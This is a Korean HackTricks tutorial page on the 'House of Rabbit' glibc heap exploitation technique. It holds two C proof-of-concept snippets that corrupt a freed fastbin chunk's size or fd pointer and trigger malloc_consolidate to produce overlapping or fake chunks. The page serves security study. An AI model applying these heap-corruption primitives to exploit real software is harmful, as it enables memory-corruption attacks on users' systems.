House of Rabbit

AWS 해킹 배우고 실습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우고 실습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

요구 사항

  1. 빠른 바이너리 fd 포인터 또는 크기 수정 능력: 이는 fastbin의 청크의 포워드 포인터 또는 크기를 변경할 수 있는 능력을 의미합니다.

  2. malloc_consolidate를 트리거할 수 있는 능력: 큰 청크를 할당하거나 상단 청크를 병합하여 청크를 통합하도록 강제함으로써 이를 수행할 수 있습니다.

목표

  1. 중첩된 청크 생성: 다른 청크와 중첩되는 하나의 청크를 가지고 힙 조작을 더 수행할 수 있도록 합니다.

  2. 가짜 청크 조작: 할당기를 속여 가짜 청크를 합법적인 청크로 취급하도록 합니다.

공격 단계

POC 1: 빠른 바이너리 청크의 크기 수정

목표: fastbin 청크의 크기를 조작하여 중첩된 청크를 생성합니다.

  • 단계 1: 청크 할당

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • 단계 2: 청크 해제

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • 단계 3: 청크 크기 수정

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • 단계 4: malloc_consolidate를 트리거합니다

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

대규모 청크를 할당하면 malloc_consolidate 함수가 트리거되어 빠른 bin에서 작은 청크를 병합합니다. chunk1의 조작된 크기로 인해 chunk2와 겹칩니다.

통합 후 chunk1chunk2와 겹쳐져 추가적인 악용이 가능해집니다.

POC 2: fd 포인터 수정

목표: 빠른 bin fd 포인터를 조작하여 가짜 청크를 생성합니다.

  • 단계 1: 청크 할당

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

설명: 우리는 가짜 청크를 설정하기 위해 하나는 작고 다른 하나는 큰 두 청크를 할당합니다.

  • 단계 2: 가짜 청크 생성

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • 단계 3: chunk1을 해제합니다

free(chunk1);  // Frees the chunk at 0x602000

설명: 우리는 chunk1을 해제하여 fastbin 목록에 추가합니다.

  • 단계 4: chunk1fd 수정

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

설명: chunk1의 전방향 포인터(fd)를 chunk2 내의 가짜 청크를 가리키도록 변경합니다.

  • 단계 5: malloc_consolidate를 트리거합니다

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

대규모 청크를 다시 할당하면 malloc_consolidate가 트리거되어 가짜 청크를 처리합니다.

가짜 청크는 fastbin 목록의 일부가 되어 추가적인 악용을 위한 합법적인 청크가 됩니다.

요약

House of Rabbit 기술은 fast bin 청크의 크기를 수정하여 겹치는 청크를 만들거나 fd 포인터를 조작하여 가짜 청크를 만드는 것을 포함합니다. 이를 통해 공격자는 힙(heap)에서 합법적인 청크를 조작하여 다양한 형태의 악용을 가능케 합니다. 이러한 단계를 이해하고 연습함으로써 힙 악용 기술을 향상시킬 수 있습니다.

Last updated